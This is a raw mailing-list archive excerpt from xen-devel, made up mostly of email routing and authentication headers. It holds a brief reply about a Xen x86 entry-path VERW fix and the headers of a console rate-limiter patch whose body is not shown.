 (envelope-from <andrew.cooper@citrix.com>)
 id 6a57979a-bab6-0a2a0a5309dd-0a2a4507d198-6
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:22:21 +0200
Received: from [52.101.52.65]
 (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a57979c-b4ea-0a2a45070019-34653441d3d2-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:22:21 +0200
Received: from DS7PR03MB8265.namprd03.prod.outlook.com (2603:10b6:8:266::20)
 by SJ0PR03MB989459.namprd03.prod.outlook.com (2603:10b6:a03:40f::16) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.10; Wed, 15 Jul
 2026 14:22:16 +0000
Received: from DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2]) by DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2%4]) with mapi id 15.21.0223.008; Wed, 15 Jul 2026
 14:22:16 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=CZOue4cK6FrgYfiwPd/EjkrTikoKqcWlNTb49EY9got8oNvGiKjw4cDrU6YPxUR894B8HgK7jIkzntFvu3y95s/RWtN6w/2K2NeyZIxiudu2OILLf84WtvJ5n/YHfjnYUZKYsSxWqu1mKGxnDoIAFsfFugYeYVbuj+xPMXoO8xeT+1H7lZyViecYr6GV5QrThvGN1QUSJh/Uvz1+/K56PDNSL399Tpsk//sfeO62PyBPwQ7QIKSb0M0HTcZA5n0qfXmlcKVeVf2DjPDaGIzqQ1clkV8NywAA8DhAYulof9n954o1Fklt4l/kbH2Ylsxyc0UbGFMHpE8wkZrLBdcgyA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=fXLTjLTL8gx7UGs1Tb4lAdCPQ45UammjAmnsDrxiZl4=;
 b=BJKD4xG1GvPH5tCp/5b8avDXq0aBKlrhGPmIXlCuCbHcn1aBkY5RPQaQngrS+dSEdH+s6Zrvi/0iRyiGr2Yt3/w7VvR4zCfYsFd7Dtr6iPyQO2+x4pE4NKz8OuWGMjnt7UiQ7kCg1dOi6mj9Nu3xnl3wxHmeVcvg9cXlWDJkAxjWV4IYu4ffJid7KYmtBSjWrfD6WVM9FWUIK314oAYh6Fu2/81yWRGr3B88dHJTwEY9HIrFCcvcArADCYrKY90gNTpCjTBYzaIz9mWfuOYVfmWxhqOElMCVGeiHZw6lYDasblfRzjUuCo/ZDdD0KqK+zMRPoldYZKzZj5p4j44nNA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=fXLTjLTL8gx7UGs1Tb4lAdCPQ45UammjAmnsDrxiZl4=;
 b=QNOtvxcR9bt0e5YouvX6rn4oTVwmeXiqG+OzJugOMcoT5BtEbKIcWSsVG+4Z0HtHuZ2FbfAZsG2xU6kWoelgAVGErzHz1P901T5wCjKM9CLxvQd8Ng+puPQiXqbplP2yeDW+M9tKCONhvau1pClj2p/yJ4fJnEEShFjRmxejvWU=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <07a5bb20-3079-448a-b2a2-af9bba0a2a30@citrix.com>
Date: Wed, 15 Jul 2026 15:22:12 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Ross Lagerwall <ross.lagerwall@citrix.com>, Jan Beulich <jbeulich@suse.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH] x86/entry: Fix VERW offsets in restore_all_xen()
To: Xen-devel <xen-devel@lists.xenproject.org>
References: <20260715104854.1813130-1-andrew.cooper3@citrix.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJATHS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com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0020.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2ae::16) To DS7PR03MB8265.namprd03.prod.outlook.com
 (2603:10b6:8:266::20)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR03MB8265:EE_|SJ0PR03MB989459:EE_
X-MS-Office365-Filtering-Correlation-Id: 3b871bf8-0871-4bab-9cac-08dee27c7896
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|10067099003|56012099006|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	U4l++Wn5si0eFLAN2bnIpLPTrOLpxh+5KuJoZGlucDiD6yK2rRbxDFNW0Mo9XZmaPcBJNli6Lj63UAKlj56ZkeXKCJDPkoxhWgAXDOavUpWQbV5u+hsMfBPAX1N5fNGCWTbOp9fQdQn+U1hSxXw7WIWJ0Aec9RmGUiBBqFcEoSK1NB2wuETi6TmYt4MPZQ0DKVsXnIGjHjsKs6IsVihY637XhRNc6UWo8ffppIE+UdEkznOvbv7coJYWPtPBZIeWn70ogUA+XcIFvYSbP3WM1teIK9LaKpNUdRk8qfmaeh5L6RywYoQM+SGnhe0uZV3osL9b3t5LYKavZuG54F+A0C7JUNjQFESXusIyYp+QvRfcZ4HNqGGDe58zc9lMgHsGIByjObaZGPs6grqemc5VzZVprCgvGz+WZ6A+YVAJhY9oeB3lT+ec9aSXLR2HIeMGO+clCED/DrLrtjNiripsNDmUzZ+F6GRN2/C/CtkP0xMFEs6qXiRVQJhCs3wIqtIUcXjnmaCVZndUPVS9BgcdXOTg7fwrshlBKCuYwIUXkwZD56pr6k+KQxVgTtaM+EwEcoREg2xbjudY+7X5952NkKJ8q4cux1VasWf2Nm0QwzYyGvOzsVho6LJqdIN9WK1aEtZlZi6ny3Twd9ke/2l60AmnHKFgWfT5aQkfGYQUCr8=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR03MB8265.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(10067099003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ajFlczVLN1FjV1R2UGtKa3d4c2xIU1dkOC9hdUdzYUNFVEo1YmdPeU9VR2c0?=
 =?utf-8?B?eG03VDNSTHdjOTdCekZKbXpiNVMza1NoTmlIUkJtRlNmQXlXTTFGNlg1SjMr?=
 =?utf-8?B?TXp4TXVUdFBsMVE1Ti9kRUhlWDhXVjJFR3pzeW5IQmtsNEhuQjZ5bEx5QXlr?=
 =?utf-8?B?d0k0U0ZzQUhsalBlcVNJZEI4VC96TkVNYWN3YWFvRVVSRnE3RUphaEhTdVdT?=
 =?utf-8?B?WC82THUzb2c0MFZoSExGM0x6M05FZG1peUovT1JuajNwUFRrdmw3cHVRcm5O?=
 =?utf-8?B?TnNqcmltcHpMcnhlcHRNYm5jRmZlTG9VOXJUT04yWFJURXNJc3lEaTVCejZZ?=
 =?utf-8?B?NEFsNTdSLzBsQnQ5SkdHVzVRNTJYQVdSYnpWQ3BrSlA0ZmppK05zMHZ3TVQz?=
 =?utf-8?B?TG9CM052YnpSbjhITnR6TWh4a2ZtTk1FMkJycnN2L3pBTzhrK0RjS3hYcWJP?=
 =?utf-8?B?d2RpZFYxZmFPZ2ZnNzdwd2F6T2lFcnBBNTc3bEUzU3hYN25HWThHZ1E2Mkxh?=
 =?utf-8?B?UUQxd0FrVFdUeWxCTkFyTkZJS2FqWGI1eDlqMEFva3U1RjZqVWtQaUZsSjNu?=
 =?utf-8?B?aWdxOWRFSHZSdUJQZVNh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=?utf-8?Q?fNOURsNCtJ8huVRE=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 3b871bf8-0871-4bab-9cac-08dee27c7896
X-MS-Exchange-CrossTenant-AuthSource: DS7PR03MB8265.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 15 Jul 2026 14:22:16.7315
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: orA9pUqnmId08ylFxEnrjLSItdJFlh28pWSJU4m2GK44/P975XbJQ2HiaKr+TR5KJsKtrZomTbaXUoMucWlArRnLHKmXaB8RW4FgT/r0qWw=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB989459
X-purgate-ID: tlsNG-ef75cf/1784125341-A60C5AE4-6F90569A/0/0
X-purgate-type: clean
X-purgate-size: 522

On 15/07/2026 11:48 am, Andrew Cooper wrote:
> Fixes: 8af337dfb8e2 ("x86/entry: Use POP_GPRS and remove RESTORE_ALL")
> Reported-by: Ross Lagerwall <ross.lagerwall@citrix.com>
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> ---
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
> CC: Teddy Astie <teddy.astie@vates.tech>
> CC: Ross Lagerwall <ross.lagerwall@citrix.com>

Ross has given me a T-by tag in private, but is having email troubles
right now.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 20:19:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 20:19:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363307.1615027 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk64m-00062F-A5; Wed, 15 Jul 2026 20:19:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363307.1615027; Wed, 15 Jul 2026 20:19:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk64m-000628-6j; Wed, 15 Jul 2026 20:19:28 +0000
Received: by outflank-mailman (input) for mailman id 1363307;
 Wed, 15 Jul 2026 20:19:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wk64k-000622-KS
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 20:19:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk64i-003bD2-FT
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 22:19:24 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb34-bab6-0a2a0a5309dd-0a2a450c9f50-22
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:24 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb4b-f479-0a2a450c0019-94a38ff1e344-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:24 +0200
Received: from pps.filterd (m0367130.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FKJK2j3596318
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:22 GMT
Received: from ch4pr04cu002.outbound.protection.outlook.com
 (mail-northcentralusazon11013056.outbound.protection.outlook.com
 [40.107.201.56])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4fef36safr-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:22 +0000 (GMT)
Received: from SJ0PR13CA0132.namprd13.prod.outlook.com (2603:10b6:a03:2c6::17)
 by LV3PR16MB5598.namprd16.prod.outlook.com (2603:10b6:408:1e1::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Wed, 15 Jul
 2026 20:19:16 +0000
Received: from CO1PEPF000075F4.namprd03.prod.outlook.com
 (2603:10b6:a03:2c6:cafe::3b) by SJ0PR13CA0132.outlook.office365.com
 (2603:10b6:a03:2c6::17) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.10 via Frontend Transport; Wed,
 15 Jul 2026 20:19:16 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 CO1PEPF000075F4.mail.protection.outlook.com (10.167.249.43) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Wed, 15 Jul 2026 20:19:15 +0000
Received: from pps.filterd (m0426316.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FKICXn3692040
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:14 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fe3eu8x74-7
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:14 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id k64WwNIkQt7Zdk64XwpK6v; Wed, 15 Jul 2026 20:19:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=5LP
	Xre7WHxzRpNUWwTfqR7IVxEsybrZ0r9yBOHRPlAY=; b=Gr3Ex4fhqJFJ+PWqK63
	bNJbjxAeT7Dxbup06iCZMO2sv+oY70iI/mbHhURozI2qPnMr28EGC3FS2/9Zx6ZU
	6arvEWMOy+O4qBUnePCgiuAlLoY7V3+4uv/A4zsERrGnH9FYJ/piEImNN1BxT5fJ
	dofKhqhopwKvFcwm1QuxNfbXAcPX2aTl2CiObLqyOMwVFuELwTCaOKMexnmsXqz9
	jgzXYO2/6TsEnHbfk6UUGBaM+zKH2IN8bjmVGF6FJa9x/+cQA2WrxlwBbGQ2d7O/
	p1i7tDvRIiK0sYK/ehFeo3BNq6O38LfOQGgFNdtU746jyXwzZB/dvb/oHmPgvfW3
	BWg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=iN0/RhDXiYZKkHFqFCQvshTZIggLuXNE+2CTczydI2lXAVxk10NzHVvx2xYZRZJ7OajAjLOlCoag33f0JWpgK3+9mITUMGRm0TfMIMaKvRdv9dC6dxGyAMnxD4DWh+AAa74nNlSDQeKtCIHe5ED+qx8Y+u+X7K7HsQgJwv6REwrVaQGGXIweyjI0F6pn9WQp26Ot9wthFNP8sgAcj9MnL1VESZq4fGGcB9Efkn835cIApeotOf/EF51eDm5FoYEokCSa0PWWdxo4GXhNBp6nJ0qVE2QZGyLXNAqdM4M2skuRv4IsK+lXTDvT0e/rt0HEXz+dpvtOdjfYAIFyOW44jg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=5LPXre7WHxzRpNUWwTfqR7IVxEsybrZ0r9yBOHRPlAY=;
 b=ftZEIC8xwwoetHlDII521WnqszepaEhmuo0OtmE/7CEex/HVRNHzfmGeOTVl1+ayF8r5bkFz+q+xGaMqcipQzd26pOZlofnzFyBq6MdnAiVJjE63Mcr8ZCz3ZgMskVTC9tpooHyfs8yfeHzLZ5bhVNegwf/Hrubrgafj/Om52rMqcWbnMv1J82TYrqd0hrIS/KX44wHac16/2X8WSwqCJy+g/jaHK5Sq70eu7YgkuHzjEIGf13fb8JA+AU9/oqt0Eaf/5J20eApPC4fTsrFyXmcJn2WQ+lg9GCwkUzMqGl46u77D46GkATbVpwI/bdeFw5hWgjCcBudf3PCDbESL8A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=5LPXre7WHxzRpNUWwTfqR7IVxEsybrZ0r9yBOHRPlAY=;
 b=jrFjr+bCaEU2DmTpJg/3RvymCYYiHYYadBNJtWsBH+bFs+UwVgWKfb8rT7771XK+S+09lpzb4UVvNEOURx/p7edk2NpnZGbiZWTENaUcKE+bHdTGa6kzhdze2vk8Mr7XMdEa4O0ZT2Qeg2BAHNF1sDB06QmLxosYOCqFZXkSWqw=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=5LPXre7WHxzRpNUWwTfqR7IVxEsybrZ0r9yBOHRPlAY=; b=
	ZNvwaW6misbBtaZftVaEDUFKxGyhVgU121d15ASeTOTdwSC7ibfGNSlU/AF6jF5d
	K3tZCzCHwZQbRY40jU34a2+uu5J6cI+mUTDoX2Q89EztAqHi5cfHgQNl981NBSBO
	FIG6QwDc108pPXIudgGpeEOH2+SNri1yDkTMWVxp6lO6zj/hifE6n1FYnmLRBbv4
	iJ0pWngiNLPhmYzxlUbWEvMYIOP+5cjp/HmmIFMnpjZWgX2dDXKze+gpXqNttXfO
	reb0njidT+nd3vgxuaZFK2TnaQ1dxFvr1pHGg27MsWhnAKOkqc6mUkLyuFgallpv
	D18tWrXVz45a8ScXL1pLlQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=5LPXre7
	WHxzRpNUWwTfqR7IVxEsybrZ0r9yBOHRPlAY=; b=ta/bbgu/22sLy/ab5r1hV/6
	xrzc0zoQOnKRaLusivC9+iF4/+Ejyqr7R+e1g8Y+WBeLBM1B7cvWuiF2Zti7oH45
	QtN/zGE2Jg3Ly0ZDkGm9hwId//XaoayGz+Pd13nrpBeX/ANVOYqbNmkeWwtb7vIz
	uukTAh7Q0cH4PcWR60JB00C2LYrMTlJe2YEudIsGzc3NuVJxQoYN1WO5ZXZwY6ug
	1PVbjW6+ywVJncA7oLwAlDtD9QUfX5VK1jw3EDQQMlBvp5U2RQQ1fb4jEjCgOHON
	Ma734J0CV7O5O3qzLkqVQ58OZ2VCT30Cwmioa12uBXer4duqJL1d+6ij2cxvZ7g=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: k64WwNIkQt7Zdk64XwpK6v
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v3 2/4] xen/console: correct leaky-bucket rate limiter
Date: Wed, 15 Jul 2026 13:19:00 -0700
Message-ID: <20260715201902.2984407-3-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260715201902.2984407-1-dmukhin@ford.com>
References: <20260715201902.2984407-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 spamscore=0 suspectscore=0 malwarescore=0 phishscore=0
 adultscore=0 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607150203
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PEPF000075F4:EE_|LV3PR16MB5598:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: a991b745-f816-4868-d664-08dee2ae57c4
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|82310400026|23010399003|36860700016|376014|10067099003|56012099006|11063799006|6133799003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	fsvKSvK7UwOBdGjoNyrhu2eLomTYDVvWg0U8NjlYS9FU8iFR+CpeEHOAXFW0GqxA6M+Gm16Pu86JPIEG505mFlgmjflvOanuXSPxC8ynWrBBLdhln290JCMPxkSQWTH5Z6R9m8ZJwYbxRIO3AQaVwWeUCn5p9JbG9NraTmKNABM+5cbufVBhQ/bc0JjlGvk8kVDL24lDjXks4DtC0DinwE8sd2nGtJk39qCU/FbfcBHs236NKodWrTnWlb72mgDemtGSkq63y3AoXUk9yhLPOHPizcdCPlE/LOLulOZIS10CmX4wP8t/Niv1ioxxJ2z8GK/rfgfyrG7ZzcAX9dQYADy5kNanQ56OJuTXdWWxfUpKwkYuwg2uSYid2/HVscRSDvZxDTo3sazxWZ5x5RZHQLI6NtlMugLR0jFDRfQ2QTMWhmI4cGDclkVzrqOq6wl4Ip7sz/m2Pfpzgubv7/XydlLyIAmDLa8Z3eCQQ9mVWTkAqEhwjNsor0jFopKLB/kRzhuW6VmmblZ/420Ji9uueDKqSv7iq0/L0ZpSrwESkAqyUb22Ox6qWBvFvHuiRkjwv5voQN5GH/FW/D1fz9MZ/VqUgAOPOeWtWhhCf8pMpe51NlIiLDFFPYJ5Q9+brSyOMpeLjrucXsoQukuyykGxw6baN5pWNqcRpJU4bmrK9yQu/MPey8/QJmZ+qkFPFjiU1uZaDCoA9IJZbU/bkrZlsg==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(1800799024)(82310400026)(23010399003)(36860700016)(376014)(10067099003)(56012099006)(11063799006)(6133799003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
